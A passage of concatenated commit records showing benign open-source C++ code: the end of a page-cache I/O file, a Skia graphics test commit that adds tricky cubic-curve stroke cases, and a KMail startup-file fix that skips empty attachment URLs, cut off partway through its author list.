{\n\t\t\t\tperror(\"read\");\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t\tp->set_io_pending(false);\n\t\t\tp->set_data_ready(true);\n\t\t}\n\t}\n\t\/* close the file as it will be opened again in the real workload. *\/\n\tunderlying->cleanup();\n\treturn 0;\n}\n\npage_cache *global_cached_io::global_cache;\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm\/gm.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColor.h\"\n#include \"include\/core\/SkMatrix.h\"\n#include \"include\/core\/SkPaint.h\"\n#include \"include\/core\/SkPath.h\"\n#include \"include\/core\/SkPoint.h\"\n#include \"include\/core\/SkRect.h\"\n#include \"include\/core\/SkSize.h\"\n#include \"include\/core\/SkString.h\"\n#include \"include\/core\/SkTypes.h\"\n#include \"src\/core\/SkGeometry.h\"\n\nstatic constexpr float kStrokeWidth = 40;\nstatic constexpr int kCellSize = 200;\n\nstatic const SkPoint kCubics[][4] = {\n {{122, 737}, {348, 553}, {403, 761}, {400, 760}},\n {{244, 520}, {244, 518}, {1141, 634}, {394, 688}},\n {{550, 194}, {138, 130}, {1035, 246}, {288, 300}},\n {{226, 733}, {556, 779}, {-43, 471}, {348, 683}},\n {{268, 204}, {492, 304}, {352, 23}, {433, 412}},\n {{172, 480}, {396, 580}, {256, 299}, {338, 677}},\n {{731, 340}, {318, 252}, {1026, -64}, {367, 265}},\n {{475, 708}, {62, 620}, {770, 304}, {220, 659}},\n};\n\nstatic SkRect calc_tight_cubic_bounds(const SkPoint P[4], int depth=5) {\n if (0 == depth) {\n SkRect bounds;\n bounds.fLeft = std::min(std::min(P[0].x(), P[1].x()), std::min(P[2].x(), P[3].x()));\n bounds.fTop = std::min(std::min(P[0].y(), P[1].y()), std::min(P[2].y(), P[3].y()));\n bounds.fRight = std::max(std::max(P[0].x(), P[1].x()), std::max(P[2].x(), P[3].x()));\n bounds.fBottom = std::max(std::max(P[0].y(), P[1].y()), std::max(P[2].y(), P[3].y()));\n return bounds;\n }\n\n SkPoint chopped[7];\n SkChopCubicAt(P, chopped, .5f);\n SkRect bounds = calc_tight_cubic_bounds(chopped, depth - 1);\n bounds.join(calc_tight_cubic_bounds(chopped+3, depth - 1));\n return bounds;\n}\n\n\/\/ This is a compilation of cubics that have given strokers grief. Feel free to add more.\nclass TrickyCubicStrokesGM : public skiagm::GM {\npublic:\n TrickyCubicStrokesGM() {}\n\nprotected:\n\n SkString onShortName() override {\n return SkString(\"trickycubicstrokes\");\n }\n\n SkISize onISize() override {\n return SkISize::Make(3*kCellSize, 3*kCellSize);\n }\n\n void onOnceBeforeDraw() override {\n fStrokePaint.setAntiAlias(true);\n fStrokePaint.setStrokeWidth(kStrokeWidth);\n fStrokePaint.setColor(SK_ColorGREEN);\n fStrokePaint.setStyle(SkPaint::kStroke_Style);\n }\n\n void onDraw(SkCanvas* canvas) override {\n canvas->clear(SK_ColorBLACK);\n\n for (size_t i = 0; i < SK_ARRAY_COUNT(kCubics); ++i) {\n this->drawStroke(canvas, kCubics[i],\n SkRect::MakeXYWH((i%3) * kCellSize, (i\/3) * kCellSize, kCellSize,\n kCellSize));\n }\n }\n\n void drawStroke(SkCanvas* canvas, const SkPoint P[4], const SkRect& location) {\n SkRect strokeBounds = calc_tight_cubic_bounds(P);\n strokeBounds.outset(kStrokeWidth, kStrokeWidth);\n\n SkMatrix matrix;\n matrix.setRectToRect(strokeBounds, location, SkMatrix::kCenter_ScaleToFit);\n\n SkPath path;\n path.moveTo(P[0]);\n path.cubicTo(P[1], P[2], P[3]);\n\n SkAutoCanvasRestore acr(canvas, true);\n canvas->concat(matrix);\n canvas->drawPath(path, fStrokePaint);\n }\n\nprivate:\n SkPaint fStrokePaint;\n typedef GM INHERITED;\n};\n\nDEF_GM( return new TrickyCubicStrokesGM; )\n<commit_msg>Add new tests to trickycubicstrokes<commit_after>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm\/gm.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColor.h\"\n#include \"include\/core\/SkMatrix.h\"\n#include \"include\/core\/SkPaint.h\"\n#include \"include\/core\/SkPath.h\"\n#include \"include\/core\/SkPoint.h\"\n#include \"include\/core\/SkRect.h\"\n#include \"include\/core\/SkSize.h\"\n#include \"include\/core\/SkString.h\"\n#include \"include\/core\/SkTypes.h\"\n#include \"src\/core\/SkGeometry.h\"\n\nstatic constexpr float kStrokeWidth = 30;\nstatic constexpr int kCellSize = 200;\nstatic constexpr int kNumCols = 4;\nstatic constexpr int kNumRows = 4;\n\nenum class CellFillMode {\n kStretch,\n kCenter\n};\n\nstruct TrickyCubic {\n SkPoint fPoints[4];\n CellFillMode fFillMode;\n float fScale = 1;\n};\n\nstatic const TrickyCubic kTrickyCubics[] = {\n {{{122, 737}, {348, 553}, {403, 761}, {400, 760}}, CellFillMode::kStretch},\n {{{244, 520}, {244, 518}, {1141, 634}, {394, 688}}, CellFillMode::kStretch},\n {{{550, 194}, {138, 130}, {1035, 246}, {288, 300}}, CellFillMode::kStretch},\n {{{226, 733}, {556, 779}, {-43, 471}, {348, 683}}, CellFillMode::kStretch},\n {{{268, 204}, {492, 304}, {352, 23}, {433, 412}}, CellFillMode::kStretch},\n {{{172, 480}, {396, 580}, {256, 299}, {338, 677}}, CellFillMode::kStretch},\n {{{731, 340}, {318, 252}, {1026, -64}, {367, 265}}, CellFillMode::kStretch},\n {{{475, 708}, {62, 620}, {770, 304}, {220, 659}}, CellFillMode::kStretch},\n {{{0, 0}, {128, 128}, {128, 0}, {0, 128}}, CellFillMode::kCenter}, \/\/ Perfect cusp\n {{{0,.01f}, {128,127.999f}, {128,.01f}, {0,127.99f}}, CellFillMode::kCenter}, \/\/ Near-cusp\n {{{0,-.01f}, {128,128.001f}, {128,-.01f}, {0,128.001f}}, CellFillMode::kCenter}, \/\/ Near-cusp\n {{{0,0}, {0,-10}, {0,-10}, {0,10}}, CellFillMode::kCenter, 1.098283f}, \/\/ Flat line with 180\n {{{10,0}, {0,0}, {20,0}, {10,0}}, CellFillMode::kStretch}, \/\/ Flat line with 2 180s\n {{{39,-39}, {40,-40}, {40,-40}, {0,0}}, CellFillMode::kStretch}, \/\/ Flat diagonal with 180\n {{{40, 40}, {0, 0}, {200, 200}, {0, 0}}, CellFillMode::kStretch}, \/\/ Diag with an internal 180\n {{{0,0}, {1e-2f,0}, {-1e-2f,0}, {0,0}}, CellFillMode::kCenter}, \/\/ Circle\n};\n\nstatic SkRect calc_tight_cubic_bounds(const SkPoint P[4], int depth=5) {\n if (0 == depth) {\n SkRect bounds;\n bounds.fLeft = std::min(std::min(P[0].x(), P[1].x()), std::min(P[2].x(), P[3].x()));\n bounds.fTop = std::min(std::min(P[0].y(), P[1].y()), std::min(P[2].y(), P[3].y()));\n bounds.fRight = std::max(std::max(P[0].x(), P[1].x()), std::max(P[2].x(), P[3].x()));\n bounds.fBottom = std::max(std::max(P[0].y(), P[1].y()), std::max(P[2].y(), P[3].y()));\n return bounds;\n }\n\n SkPoint chopped[7];\n SkChopCubicAt(P, chopped, .5f);\n SkRect bounds = calc_tight_cubic_bounds(chopped, depth - 1);\n bounds.join(calc_tight_cubic_bounds(chopped+3, depth - 1));\n return bounds;\n}\n\nenum class FillMode {\n kCenter,\n kScale\n};\n\n\/\/ This is a compilation of cubics that have given strokers grief. Feel free to add more.\nclass TrickyCubicStrokesGM : public skiagm::GM {\npublic:\n TrickyCubicStrokesGM() {}\n\nprotected:\n\n SkString onShortName() override {\n return SkString(\"trickycubicstrokes\");\n }\n\n SkISize onISize() override {\n return SkISize::Make(kNumCols * kCellSize, kNumRows * kCellSize);\n }\n\n void onOnceBeforeDraw() override {\n fStrokePaint.setAntiAlias(true);\n fStrokePaint.setStrokeWidth(kStrokeWidth);\n fStrokePaint.setColor(SK_ColorGREEN);\n fStrokePaint.setStyle(SkPaint::kStroke_Style);\n }\n\n void onDraw(SkCanvas* canvas) override {\n canvas->clear(SK_ColorBLACK);\n\n for (size_t i = 0; i < SK_ARRAY_COUNT(kTrickyCubics); ++i) {\n const auto& trickyCubic = kTrickyCubics[i];\n SkPoint p[7];\n memcpy(p, trickyCubic.fPoints, sizeof(SkPoint) * 4);\n for (int j = 0; j < 4; ++j) {\n p[j] *= trickyCubic.fScale;\n }\n this->drawStroke(canvas, p, i, trickyCubic.fFillMode);\n }\n }\n\n void drawStroke(SkCanvas* canvas, const SkPoint p[4], int cellID, CellFillMode fillMode) {\n auto cellRect = SkRect::MakeXYWH((cellID % kNumCols) * kCellSize,\n (cellID \/ kNumCols) * kCellSize,\n kCellSize, kCellSize);\n\n SkRect strokeBounds = calc_tight_cubic_bounds(p);\n strokeBounds.outset(kStrokeWidth, kStrokeWidth);\n\n SkMatrix matrix;\n if (fillMode == CellFillMode::kStretch) {\n matrix.setRectToRect(strokeBounds, cellRect, SkMatrix::kCenter_ScaleToFit);\n } else {\n matrix.setTranslate(cellRect.x() + kStrokeWidth +\n (cellRect.width() - strokeBounds.width()) \/ 2,\n cellRect.y() + kStrokeWidth +\n (cellRect.height() - strokeBounds.height()) \/ 2);\n }\n\n SkAutoCanvasRestore acr(canvas, true);\n canvas->concat(matrix);\n fStrokePaint.setStrokeWidth(kStrokeWidth \/ matrix.getMaxScale());\n canvas->drawPath(SkPath().moveTo(p[0]).cubicTo(p[1], p[2], p[3]), fStrokePaint);\n }\n\nprivate:\n SkPaint fStrokePaint;\n typedef GM INHERITED;\n};\n\nDEF_GM( return new TrickyCubicStrokesGM; )\n<|endoftext|>"} {"text":"<commit_before>\/\/ KMail startup and initialize code\n\/\/ Author: Stefan Taferner <taferner@alpin.or.at>\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n#include <sys\/types.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include <kuniqueapplication.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <ksimpleconfig.h>\n#include <kstandarddirs.h>\n#include <knotifyclient.h>\n#include <dcopclient.h>\n#include <kcrash.h>\n\n#include \"kmkernel.h\" \/\/control center\n\n#undef Status \/\/ stupid X headers\n#include \"kmailIface_stub.h\" \/\/ to call control center of master kmail\n\n#include <kaboutdata.h>\n\n#include \"kmversion.h\"\n\n\n\/\/ OLD about text. This is horrbly outdated.\n\/*const char* aboutText =\n \"KMail [\" KMAIL_VERSION \"] by\\n\\n\"\n \"Stefan Taferner <taferner@kde.org>,\\n\"\n \"Markus Wbben <markus.wuebben@kde.org>\\n\\n\"\n \"based on the work of:\\n\"\n \"Lynx <lynx@topaz.hknet.com>,\\n\"\n \"Stephan Meyer <Stephan.Meyer@pobox.com>,\\n\"\n \"and the above authors.\\n\\n\"\n \"This program is covered by the GPL.\\n\\n\"\n \"Please send bugreports to taferner@kde.org\";\n*\/\n\nstatic KCmdLineOptions kmoptions[] =\n{\n { \"s\", 0 , 0 },\n { \"subject <subject>\",\tI18N_NOOP(\"Set subject of msg.\"), 0 },\n { \"c\", 0 , 0 },\n { \"cc <address>\",\t\tI18N_NOOP(\"Send CC: to 'address'.\"), 0 },\n { \"b\", 0 , 0 },\n { \"bcc <address>\",\t\tI18N_NOOP(\"Send BCC: to 'addres'.\"), 0 },\n { \"h\", 0 , 0 },\n { \"header <header>\",\t\tI18N_NOOP(\"Add 'header' to msg.\"), 0 },\n { \"msg <file>\",\t\tI18N_NOOP(\"Read msg-body from 'file'.\"), 0 },\n { \"body <text>\", I18N_NOOP(\"Set body of msg.\"), 0 },\n { \"attach <url>\", I18N_NOOP(\"Add an attachment to the mail, this can be repeated\"), 0 },\n { \"check\",\t\t\tI18N_NOOP(\"Check for new mail only.\"), 0 },\n { \"composer\",\t\t\tI18N_NOOP(\"Open only composer window.\"), 0 },\n { \"+[address]\",\t\tI18N_NOOP(\"Send msg to 'address'.\"), 0 },\n\/\/ { \"+[file]\", I18N_NOOP(\"Show message from file 'file'.\"), 0 },\n { 0, 0, 0}\n};\n\n\/\/-----------------------------------------------------------------------------\n\nextern \"C\" {\n\nstatic void setSignalHandler(void (*handler)(int));\n\n\/\/ Crash recovery signal handler\nstatic void signalHandler(int sigId)\n{\n setSignalHandler(SIG_DFL);\n fprintf(stderr, \"*** KMail got signal %d (Exiting)\\n\", sigId);\n \/\/ try to cleanup all windows\n kernel->dumpDeadLetters();\n ::exit(-1); \/\/\n}\n\n\/\/ Crash recovery signal handler\nstatic void crashHandler(int sigId)\n{\n setSignalHandler(SIG_DFL);\n fprintf(stderr, \"*** KMail got signal %d (Crashing)\\n\", sigId);\n \/\/ try to cleanup all windows\n kernel->dumpDeadLetters();\n \/\/ Return to DrKonqi.\n}\n\/\/-----------------------------------------------------------------------------\n\n\nstatic void setSignalHandler(void (*handler)(int))\n{\n signal(SIGKILL, handler);\n signal(SIGTERM, handler);\n signal(SIGHUP, handler);\n KCrash::setEmergencySaveFunction(crashHandler);\n}\n\n}\n\/\/-----------------------------------------------------------------------------\n\nclass KMailApplication : public KUniqueApplication\n{\npublic:\n KMailApplication() : KUniqueApplication() { };\n\n virtual int newInstance();\n\n void commitData(QSessionManager& sm) {\n kernel->notClosedByUser();\n KApplication::commitData( sm );\n }\n};\n\nint KMailApplication::newInstance()\n{\n QString to, cc, bcc, subj, body;\n KURL messageFile = QString::null;\n KURL::List attachURLs;\n bool mailto = false;\n bool checkMail = false;\n \/\/bool viewOnly = false;\n\n \/\/ process args:\n KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n if (args->getOption(\"subject\"))\n {\n mailto = true;\n subj = QString::fromLocal8Bit(args->getOption(\"subject\"));\n }\n\n if (args->getOption(\"cc\"))\n {\n mailto = true;\n cc = QString::fromLocal8Bit(args->getOption(\"cc\"));\n }\n\n if (args->getOption(\"bcc\"))\n {\n mailto = true;\n bcc = QString::fromLocal8Bit(args->getOption(\"bcc\"));\n }\n\n if (args->getOption(\"msg\"))\n {\n mailto = true;\n messageFile = QString::fromLocal8Bit(args->getOption(\"msg\"));\n }\n\n if (args->getOption(\"body\"))\n {\n mailto = true;\n body = QString::fromLocal8Bit(args->getOption(\"body\"));\n }\n\n QCStringList attachList = args->getOptionList(\"attach\");\n if (!attachList.isEmpty())\n {\n mailto = true;\n for ( QCStringList::Iterator it = attachList.begin() ; it != attachList.end() ; ++it )\n attachURLs += KURL( QString::fromLocal8Bit( *it ) );\n }\n\n if (args->isSet(\"composer\"))\n mailto = true;\n\n if (args->isSet(\"check\"))\n checkMail = true;\n\n for(int i= 0; i < args->count(); i++)\n {\n if (!to.isEmpty())\n to += \", \";\n if (strncasecmp(args->arg(i),\"mailto:\",7)==0)\n to += args->arg(i);\n else\n to += args->arg(i);\n mailto = true;\n }\n\n args->clear();\n\n if (!kapp->isRestored())\n kernel->action (mailto, checkMail, to, cc, bcc, subj, body, messageFile, attachURLs);\n return 0;\n}\n\nint main(int argc, char *argv[])\n{\n \/\/ WABA: KMail is a KUniqueApplication. Unfortunately this makes debugging\n \/\/ a bit harder: You should pass --nofork as commandline argument when using\n \/\/ a debugger. In gdb you can do this by typing \"set args --nofork\" before\n \/\/ typing \"run\".\n\n KAboutData about(\"kmail\", I18N_NOOP(\"KMail\"),\n KMAIL_VERSION,\n\t\t I18N_NOOP(\"The KDE Email client.\"),\n\t\t KAboutData::License_GPL,\n I18N_NOOP(\"(c) 1997-2001, The KMail developers\"),\n\t\t 0,\n\t\t \"http:\/\/kmail.kde.org\");\n about.addAuthor( \"Michael H\\303\\244ckel\", I18N_NOOP(\"Current maintainer\"), \"michael@haeckel.net\" );\n about.addAuthor( \"Don Sanders\", I18N_NOOP(\"Core developer and former maintainer\"), \"sanders@kde.org\" );\n about.addAuthor( \"Stefan Taferner \", I18N_NOOP(\"Original author\"), \"taferner@kde.org\" );\n about.addAuthor( \"Ingo Kl\\303\\266cker\", I18N_NOOP(\"Encryption\"), \"ingo.kloecker@epost.de\" );\n about.addAuthor( \"Marc Mutz\", I18N_NOOP(\"Core developer\"), \"mutz@kde.org\" );\n about.addAuthor( \"Daniel Naber\", I18N_NOOP(\"Documentation\"), \"daniel.naber@t-online.de\" );\n about.addAuthor( \"Andreas Gungl\", I18N_NOOP(\"Encryption\"), \"a.gungl@gmx.de\" );\n\n about.addAuthor( \"Toyohiro Asukai\", 0, \"toyohiro@ksmplus.com\" );\n about.addAuthor( \"Waldo Bastian\", 0, \"bastian@kde.org\" );\n about.addAuthor( \"Carsten Burghardt\", 0, \"carsten.burghardt@web.de\" );\n about.addAuthor( \"Steven Brown\", 0, \"swbrown@ucsd.edu\" );\n about.addAuthor( \"Cristi Dumitrescu\", 0, \"cristid@chip.ro\" );\n about.addAuthor( \"Philippe Fremy\", 0, \"pfremy@chez.com\" );\n about.addAuthor( \"Kurt Granroth\", 0, \"granroth@kde.org\" );\n about.addAuthor( \"Heiko Hund\", 0, \"heiko@ist.eigentlich.net\" );\n about.addAuthor( \"Igor Janssen\", 0, \"rm@linux.ru.net\" );\n about.addAuthor( \"Matt Johnston\", 0, \"matt@caifex.org\" );\n about.addAuthor( \"Christer Kaivo-oja\", 0, \"whizkid@telia.com\" );\n about.addAuthor( \"Lars Knoll\", 0, \"knoll@kde.org\" );\n about.addAuthor( \"J. Nick Koston\", 0, \"bdraco@darkorb.net\" );\n about.addAuthor( \"Stephan Kulow\", 0, \"coolo@kde.org\" );\n about.addAuthor( \"Guillaume Laurent\", 0, \"glaurent@telegraph-road.org\" );\n about.addAuthor( \"Sam Magnuson\", 0, \"sam@trolltech.com\" );\n about.addAuthor( \"Laurent Montel\", 0, \"lmontel@mandrakesoft.com\" );\n about.addAuthor( \"Matt Newell\", 0, \"newellm@proaxis.com\" );\n about.addAuthor( \"Denis Perchine\", 0, \"dyp@perchine.com\" );\n about.addAuthor( \"Samuel Penn\", 0, \"sam@bifrost.demon.co.uk\" );\n about.addAuthor( \"Carsten Pfeiffer\", 0, \"pfeiffer@kde.org\" );\n about.addAuthor( \"Sven Radej\", 0, \"radej@kde.org\" );\n about.addAuthor( \"Mark Roberts\", 0, \"mark@taurine.demon.co.uk\" );\n about.addAuthor( \"Wolfgang Rohdewald\", 0, \"wrohdewald@dplanet.ch\" );\n about.addAuthor( \"Espen Sand\", 0, \"espen@kde.org\" );\n about.addAuthor( \"George Staikos\", 0, \"staikos@kde.org\" );\n about.addAuthor( \"Jason Stephenson\", 0, \"panda@mis.net\" );\n about.addAuthor( \"Jacek Stolarczyk\", 0, \"jacek@mer.chemia.polsl.gliwice.pl\" );\n about.addAuthor( \"Roberto S. Teixeira\", 0, \"maragato@kde.org\" );\n about.addAuthor( \"Ronen Tzur\", 0, \"rtzur@shani.net\" );\n about.addAuthor( \"Mario Weilguni\", 0, \"mweilguni@sime.com\" );\n about.addAuthor( \"Wynn Wilkes\", 0, \"wynnw@calderasystems.com\" );\n about.addAuthor( \"Robert D. Williams\", 0, \"rwilliams@kde.org\" );\n about.addAuthor( \"Markus Wuebben\", 0, \"markus.wuebben@kde.org\" );\n about.addAuthor( \"Thorsten Zachmann\", 0, \"t.zachmann@zagge.de\" );\n about.addAuthor( \"Karl-Heinz Zimmer\", 0, \"khz@kde.org\" );\n\n KCmdLineArgs::init(argc, argv, &about);\n KCmdLineArgs::addCmdLineOptions( kmoptions ); \/\/ Add kmail options\n\n if (!KMailApplication::start())\n return 0;\n\n KMailApplication app;\n KGlobal::locale()->insertCatalogue(\"libkdenetwork\");\n\n KSimpleConfig config(locateLocal(\"appdata\", \"lock\"));\n int oldPid = config.readNumEntry(\"pid\", -1);\n if (oldPid != -1 && kill(oldPid, 0) != -1)\n {\n QString msg = i18n(\"Only one instance of KMail can be run at \"\n \"any one time. It is already running on a different display \"\n \"with PID %1.\").arg(oldPid);\n\n KNotifyClient::userEvent( msg, KNotifyClient::Messagebox,\n KNotifyClient::Error );\n fprintf(stderr, \"*** KMail is already running with PID %d\\n\", oldPid);\n return 1;\n }\n\n config.writeEntry(\"pid\", getpid());\n config.sync();\n\n kapp->dcopClient()->suspend(); \/\/ Don't handle DCOP requests yet\n\n \/\/local, do the init\n KMKernel kmailKernel;\n kmailKernel.init();\n kapp->dcopClient()->setDefaultObject( kmailKernel.objId() );\n\n \/\/ and session management\n kmailKernel.doSessionManagement();\n\n \/\/ any dead letters?\n kmailKernel.recoverDeadLetters();\n\n setSignalHandler(signalHandler);\n\n kapp->dcopClient()->resume(); \/\/ Ok. We are ready for DCOP requests.\n \/\/ Go!\n int ret = kapp->exec();\n\n \/\/ clean up\n kmailKernel.cleanup();\n config.writeEntry(\"pid\", -1);\n config.sync();\n return ret;\n}\n\n<commit_msg>Fixed \"malformed URL\" error message when clicking on a mailto: link.<commit_after>\/\/ KMail startup and initialize code\n\/\/ Author: Stefan Taferner <taferner@alpin.or.at>\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n#include <sys\/types.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include <kuniqueapplication.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <ksimpleconfig.h>\n#include <kstandarddirs.h>\n#include <knotifyclient.h>\n#include <dcopclient.h>\n#include <kcrash.h>\n\n#include \"kmkernel.h\" \/\/control center\n\n#undef Status \/\/ stupid X headers\n#include \"kmailIface_stub.h\" \/\/ to call control center of master kmail\n\n#include <kaboutdata.h>\n\n#include \"kmversion.h\"\n\n\n\/\/ OLD about text. This is horrbly outdated.\n\/*const char* aboutText =\n \"KMail [\" KMAIL_VERSION \"] by\\n\\n\"\n \"Stefan Taferner <taferner@kde.org>,\\n\"\n \"Markus Wbben <markus.wuebben@kde.org>\\n\\n\"\n \"based on the work of:\\n\"\n \"Lynx <lynx@topaz.hknet.com>,\\n\"\n \"Stephan Meyer <Stephan.Meyer@pobox.com>,\\n\"\n \"and the above authors.\\n\\n\"\n \"This program is covered by the GPL.\\n\\n\"\n \"Please send bugreports to taferner@kde.org\";\n*\/\n\nstatic KCmdLineOptions kmoptions[] =\n{\n { \"s\", 0 , 0 },\n { \"subject <subject>\",\tI18N_NOOP(\"Set subject of msg.\"), 0 },\n { \"c\", 0 , 0 },\n { \"cc <address>\",\t\tI18N_NOOP(\"Send CC: to 'address'.\"), 0 },\n { \"b\", 0 , 0 },\n { \"bcc <address>\",\t\tI18N_NOOP(\"Send BCC: to 'addres'.\"), 0 },\n { \"h\", 0 , 0 },\n { \"header <header>\",\t\tI18N_NOOP(\"Add 'header' to msg.\"), 0 },\n { \"msg <file>\",\t\tI18N_NOOP(\"Read msg-body from 'file'.\"), 0 },\n { \"body <text>\", I18N_NOOP(\"Set body of msg.\"), 0 },\n { \"attach <url>\", I18N_NOOP(\"Add an attachment to the mail, this can be repeated\"), 0 },\n { \"check\",\t\t\tI18N_NOOP(\"Check for new mail only.\"), 0 },\n { \"composer\",\t\t\tI18N_NOOP(\"Open only composer window.\"), 0 },\n { \"+[address]\",\t\tI18N_NOOP(\"Send msg to 'address'.\"), 0 },\n\/\/ { \"+[file]\", I18N_NOOP(\"Show message from file 'file'.\"), 0 },\n { 0, 0, 0}\n};\n\n\/\/-----------------------------------------------------------------------------\n\nextern \"C\" {\n\nstatic void setSignalHandler(void (*handler)(int));\n\n\/\/ Crash recovery signal handler\nstatic void signalHandler(int sigId)\n{\n setSignalHandler(SIG_DFL);\n fprintf(stderr, \"*** KMail got signal %d (Exiting)\\n\", sigId);\n \/\/ try to cleanup all windows\n kernel->dumpDeadLetters();\n ::exit(-1); \/\/\n}\n\n\/\/ Crash recovery signal handler\nstatic void crashHandler(int sigId)\n{\n setSignalHandler(SIG_DFL);\n fprintf(stderr, \"*** KMail got signal %d (Crashing)\\n\", sigId);\n \/\/ try to cleanup all windows\n kernel->dumpDeadLetters();\n \/\/ Return to DrKonqi.\n}\n\/\/-----------------------------------------------------------------------------\n\n\nstatic void setSignalHandler(void (*handler)(int))\n{\n signal(SIGKILL, handler);\n signal(SIGTERM, handler);\n signal(SIGHUP, handler);\n KCrash::setEmergencySaveFunction(crashHandler);\n}\n\n}\n\/\/-----------------------------------------------------------------------------\n\nclass KMailApplication : public KUniqueApplication\n{\npublic:\n KMailApplication() : KUniqueApplication() { };\n\n virtual int newInstance();\n\n void commitData(QSessionManager& sm) {\n kernel->notClosedByUser();\n KApplication::commitData( sm );\n }\n};\n\nint KMailApplication::newInstance()\n{\n QString to, cc, bcc, subj, body;\n KURL messageFile = QString::null;\n KURL::List attachURLs;\n bool mailto = false;\n bool checkMail = false;\n \/\/bool viewOnly = false;\n\n \/\/ process args:\n KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n if (args->getOption(\"subject\"))\n {\n mailto = true;\n subj = QString::fromLocal8Bit(args->getOption(\"subject\"));\n }\n\n if (args->getOption(\"cc\"))\n {\n mailto = true;\n cc = QString::fromLocal8Bit(args->getOption(\"cc\"));\n }\n\n if (args->getOption(\"bcc\"))\n {\n mailto = true;\n bcc = QString::fromLocal8Bit(args->getOption(\"bcc\"));\n }\n\n if (args->getOption(\"msg\"))\n {\n mailto = true;\n messageFile = QString::fromLocal8Bit(args->getOption(\"msg\"));\n }\n\n if (args->getOption(\"body\"))\n {\n mailto = true;\n body = QString::fromLocal8Bit(args->getOption(\"body\"));\n }\n\n QCStringList attachList = args->getOptionList(\"attach\");\n if (!attachList.isEmpty())\n {\n mailto = true;\n for ( QCStringList::Iterator it = attachList.begin() ; it != attachList.end() ; ++it )\n if ( !(*it).isEmpty() )\n attachURLs += KURL( QString::fromLocal8Bit( *it ) );\n }\n\n if (args->isSet(\"composer\"))\n mailto = true;\n\n if (args->isSet(\"check\"))\n checkMail = true;\n\n for(int i= 0; i < args->count(); i++)\n {\n if (!to.isEmpty())\n to += \", \";\n if (strncasecmp(args->arg(i),\"mailto:\",7)==0)\n to += args->arg(i);\n else\n to += args->arg(i);\n mailto = true;\n }\n\n args->clear();\n\n if (!kapp->isRestored())\n kernel->action (mailto, checkMail, to, cc, bcc, subj, body, messageFile, attachURLs);\n return 0;\n}\n\nint main(int argc, char *argv[])\n{\n \/\/ WABA: KMail is a KUniqueApplication. Unfortunately this makes debugging\n \/\/ a bit harder: You should pass --nofork as commandline argument when using\n \/\/ a debugger. In gdb you can do this by typing \"set args --nofork\" before\n \/\/ typing \"run\".\n\n KAboutData about(\"kmail\", I18N_NOOP(\"KMail\"),\n KMAIL_VERSION,\n\t\t I18N_NOOP(\"The KDE Email client.\"),\n\t\t KAboutData::License_GPL,\n I18N_NOOP(\"(c) 1997-2001, The KMail developers\"),\n\t\t 0,\n\t\t \"http:\/\/kmail.kde.org\");\n about.addAuthor( \"Michael H\\303\\244ckel\", I18N_NOOP(\"Current maintainer\"), \"michael@haeckel.net\" );\n about.addAuthor( \"Don Sanders\", I18N_NOOP(\"Core developer and former maintainer\"), \"sanders@kde.org\" );\n about.addAuthor( \"Stefan Taferner \", I18N_NOOP(\"Original author\"), \"taferner@kde.org\" );\n about.addAuthor( \"Ingo Kl\\303\\266cker\", I18N_NOOP(\"Encryption\"), \"ingo.kloecker@epost.de\" );\n about.addAuthor( \"Marc Mutz\", I18N_NOOP(\"Core developer\"), \"mutz@kde.org\" );\n about.addAuthor( \"Daniel Naber\", I18N_NOOP(\"Documentation\"), \"daniel.naber@t-online.de\" );\n about.addAuthor( \"Andreas Gungl\", I18N_NOOP(\"Encryption\"), \"a.gungl@gmx.de\" );\n\n about.addAuthor( \"Toyohiro Asukai\", 0, \"toyohiro@ksmplus.com\" );\n about.addAuthor( \"Waldo Bastian\", 0, \"bastian@kde.org\" );\n about.addAuthor( \"Carsten Burghardt\", 0, \"carsten.burghardt@web.de\" );\n about.addAuthor( \"Steven Brown\", 0, \"swbrown@ucsd.edu\" );\n about.addAuthor( \"Cristi Dumitrescu\", 0, \"cristid@chip.ro\" );\n about.addAuthor( \"Philippe Fremy\", 0, \"pfremy@chez.com\" );\n about.addAuthor( \"Kurt Granroth\", 0, \"granroth@kde.org\" );\n about.addAuthor( \"Heiko Hund\", 0, \"heiko@ist.eigentlich.net\" );\n about.addAuthor( \"Igor Janssen\", 0, \"rm@linux.ru.net\" );\n about.addAuthor( \"Matt Johnston\", 0, \"matt@caifex.org\" );\n about.addAuthor( \"Christer Kaivo-oja\", 0, \"whizkid@telia.com\" );\n about.addAuthor( \"Lars Knoll\", 0, \"knoll@kde.org\" );\n about.addAuthor( \"J. Nick Koston\", 0, \"bdraco@darkorb.net\" );\n about.addAuthor( \"Stephan Kulow\", 0, \"coolo@kde.org\" );\n about.addAuthor( \"Guillaume Laurent\", 0, \"glaurent@telegraph-road.org\" );\n about.addAuthor( \"Sam Magnuson\", 0, \"sam@trolltech.com\" );\n about.addAuthor( \"Laurent Montel\", 0, \"lmontel@mandrakesoft.com\" );\n about.addAuthor( \"Matt Newell\", 0, \"newellm@proaxis.com\" );\n about.addAuthor( \"Denis Perchine\", 0, \"dyp@perchine.com\" );\n about.addAuthor( \"Samuel Penn\", 0, \"sam@bifrost.demon.co.uk\" );\n about.addAuthor( \"Carsten Pfeiffer\", 0, \"pfeiffer@kde.org\" );\n about.addAuthor( \"Sven Radej\", 0, \"radej@kde.org\" );\n about.addAuthor( \"Mark Roberts\", 0, \"mark@taurine.demon.co.uk\" );\n about.addAuthor( \"Wolfgang Rohdewald\", 0, \"wrohdewald@dplanet.ch\" );\n about.addAuthor( \"Espen Sand\", 0, \"espen@kde.org\" );\n about.addAuthor( \"George Staikos\", 0, \"staikos@kde.org\" );\n about.addAuthor( \"Jason Stephenson\", 0, 